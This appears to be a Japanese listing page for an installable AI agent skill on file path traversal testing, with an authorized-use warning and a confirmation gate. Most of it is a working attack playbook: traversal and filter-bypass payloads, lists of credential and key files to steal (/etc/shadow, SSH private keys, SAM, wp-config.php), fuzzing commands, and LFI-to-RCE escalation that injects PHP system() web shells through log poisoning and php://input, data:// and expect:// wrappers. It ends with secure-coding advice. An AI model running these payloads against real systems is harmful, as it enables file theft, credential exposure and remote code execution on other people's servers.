mcpField
F
file-path-traversal

file-path-traversal

github.com/sickn33セキュリティ48.7k85 回インストール今日更新
リポジトリ

file-path-traversal について

許可を得たセキュリティ評価向けのファイルパストラバーサル検査スキルです。入力箇所の特定から影響評価、修正案までを案内し、許可と範囲の確認を重視します。

主な機能

  1. 01ファイル処理入力の特定
  2. 02トラバーサルとフィルター回避の検査
  3. 03公開ファイルの影響評価
  4. 04安全なコーディングの助言
  5. 05許可と範囲の確認

活用シーン

  1. 01許可済み評価でファイル読み取りの欠陥を調査
  2. 02脆弱性と影響のレポートを作成
  3. 03ファイルアクセス処理の修正方針を検討

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill file-path-traversal

インストール後、Claude Code で/file-path-traversalを入力して読み込まれたか確認します。

詳細

⚠️ 許可された用途のみ このスキルは、教育目的または許可を受けたセキュリティ評価のみを対象としています。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。

必須の確認ゲート 対象に対して調査、エクスプロイト、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、正確な対象 URL、IP、アカウント、またはリソースと、書面による許可および許可された範囲の確認を求めてください。 正確なコマンドを提示し、予想される影響を説明してから、現在の会話内で明示的な確認が得られるまで待ってください。 確認が得られない場合は読み取り専用の操作にとどめ、防御に関するガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。

ファイルパストラバーサルテスト

目的

攻撃者がサーバー上の任意のファイルを読み取れるようにするファイルパストラバーサル(ディレクトリトラバーサル)脆弱性を特定し、エクスプロイトします。対象には、機密性の高い設定ファイル、認証情報、ソースコードが含まれる可能性があります。この脆弱性は、ユーザーが制御できる入力が適切に検証されずにファイルシステム API に渡される場合に発生します。

前提条件

必要なツール
  • 開発者ツールを備えたウェブブラウザー
  • Burp Suite または OWASP ZAP
  • ペイロードのテスト用 cURL
  • 自動化用のワードリスト
  • ファジング用の ffuf または wfuzz
必要な知識
  • HTTP リクエスト/レスポンスの構造
  • Linux および Windows のファイルシステム構成
  • ウェブアプリケーションのアーキテクチャ
  • ファイル API の基本的な理解

成果物

  1. 脆弱性レポート - 特定したトラバーサル箇所と深刻度
  2. エクスプロイトの証明 - 抽出したファイルの内容
  3. 影響評価 - アクセス可能なファイルとデータ漏えい
  4. 修正ガイダンス - セキュアコーディングに関する推奨事項

基本的なワークフロー

フェーズ 1:パストラバーサルの理解

アプリケーションがユーザー入力を使ってファイルパスを構築する場合、パストラバーサルが発生します。

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻撃の原理:

  • ../ の並びで 1 つ上のディレクトリに移動する
  • この並びを複数連結してルートに到達する
  • 意図されたディレクトリの外にあるファイルにアクセスする

影響:

  • 機密性 - 機密ファイルの読み取り
  • 完全性 - ファイルの書き込み/変更(場合による)
  • 可用性 - ファイルの削除(場合による)
  • コード実行 - ファイルアップロードやログポイズニングとの組み合わせ
フェーズ 2:トラバーサル箇所の特定

ファイル操作が行われる可能性のある箇所をアプリケーション内で特定します。

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

脆弱性がよく見られる機能:

  • 画像の読み込み:/image?filename=23.jpg
  • テンプレートの選択:?template=blue.php
  • ファイルのダウンロード:/download?file=report.pdf
  • ドキュメントビューアー:/view?doc=manual.pdf
  • インクルード機構:?page=about
フェーズ 3:基本的なエクスプロイト手法
単純なパストラバーサル
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
絶対パスの注入
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
フェーズ 4:回避手法
トラバーサル文字列の除去を回避する
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
拡張子検証を回避する

過去の実装やパーサー固有の例に限ります。拡張子を追加しただけでは、既存のファイルを読み取れるようにはなりません。また、現代のランタイムでは、ヌルバイトや不正なエンコーディングを使った手法は拒否されます。正確なバージョンで検証してください。ペイロード文字列だけを根拠に、回避が成功したと主張しないでください。

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php
ベースディレクトリ検証を回避する
# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd
ブラックリストフィルターを回避する
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd
フェーズ 5:Linux の標的ファイル

優先度の高い対象ファイル:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
フェーズ 6:Windows の標的ファイル

Windows 固有の対象:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
フェーズ 7:自動テスト
Burp Suite の使用
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
ffuf の使用
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac
wfuzz の使用
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"
フェーズ 8:LFI から RCE へのエスカレーション

コード実行を対象とする、別途許可された範囲が設定された使い捨てラボが必要です。任意のファイルを読み取れるからといって、PHP のインクルードが可能とは限りません。ラッパーの動作は、ランタイムの設定や拡張機能に依存します。現代の環境では、/proc/self/environ を通じてリクエストヘッダーを取得できないこともよくあります。エスカレーションを既定の手順とせず、許可された検証に十分な証拠が得られた時点で停止してください。

ログポイズニング
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"
PHP ラッパーの悪用
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
フェーズ 9:テストの方法

構造化されたテストアプローチ:

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE
フェーズ 10:防止策

セキュアコーディングの実践:

既知の読み取り可能なドキュメントに対応付けられた、不透明なサーバー側 ID を優先してください。ユーザーが選択したファイルを返すために include を使用しないでください。PHP が実行される可能性があります。basename フィルターや文字列のプレフィックスチェックだけでは不十分です。たとえば、files-backup のような兄弟ディレクトリは files と同じプレフィックスを持ちます。パスが指定範囲内に収まることに加えて、オブジェクトレベルの認可も適用してください。

from pathlib import Path

def safe_file_access(base_dir, filename):
    # Existing-file sketch; filename must already have passed authorization.
    base = Path(base_dir).resolve(strict=True)
    candidate = (base / filename).resolve(strict=True)
    if not candidate.is_relative_to(base) or not candidate.is_file():
        raise PermissionError("Access denied")
    return candidate.read_text(encoding="utf-8")

解決後にファイルを開く処理は、攻撃者がディレクトリやシンボリックリンクを変更できる場合、競合状態が発生する可能性があります。この例は、信頼できる不変のディレクトリツリーを前提としています。悪意のある変更が可能なファイルシステムでは、プラットフォーム固有のファイル記述子相対の、シンボリックリンクをたどらない走査/オープンのセマンティクスを使用するか、ストレージを分離してください。使い捨てのテスト環境で、兄弟ディレクトリのプレフィックス、絶対パス、エンコードされたディレクトリトラバーサル、シンボリックリンク、競合状態の境界をテストしてください。

クイックリファレンス

よく使われるペイロード
ペイロード対象
../../../etc/passwdLinux のパスワードファイル
..\..\..\..\windows\win.iniWindows の INI ファイル
....//....//....//etc/passwd単純なフィルターの回避
/etc/passwd絶対パス
php://filter/convert.base64-encode/resource=config.phpソースコード
対象ファイル
OSファイル用途
Linux/etc/passwdユーザーアカウント
Linux/etc/shadowパスワードハッシュ
Linux/proc/self/environ環境変数
WindowsC:\windows\win.iniシステム設定
WindowsC:\boot.iniブート設定
Webwp-config.phpWordPress の DB 認証情報
エンコードの種類
種類例
URL エンコード%2e%2e%2f = ../
二重エンコード%252e%252e%252f = ../
Unicode%c0%af = /
ヌルバイト%00

制約と制限事項

権限の制限
  • アプリケーションユーザーがアクセスできないファイルは読み取れません
  • Shadow ファイルの読み取りには root 権限が必要です
  • 多くのファイルには制限的な権限が設定されています
アプリケーションの制限
  • 拡張子の検証によってファイルの種類が制限される場合があります
  • ベースパスの検証によって範囲が制限される場合があります
  • WAF によって一般的なペイロードがブロックされる場合があります
テスト時の考慮事項
  • 許可された範囲を守ってください
  • 実際に機密性の高いデータへのアクセスは避けてください
  • 成功したアクセスをすべて記録してください

トラブルシューティング

問題解決策
応答に違いがないエンコード、ブラインドディレクトリトラバーサル、別のファイルを試してください
ペイロードがブロックされるエンコードの種類、入れ子のシーケンス、大文字と小文字のバリエーションを試してください
RCE にエスカレーションできないログ、PHP ラッパー、ファイルアップロード、セッションポイズニングを確認してください

使用する場面

このスキルは、概要に記載されたワークフローまたはアクションを実行する際に適用できます。

コメント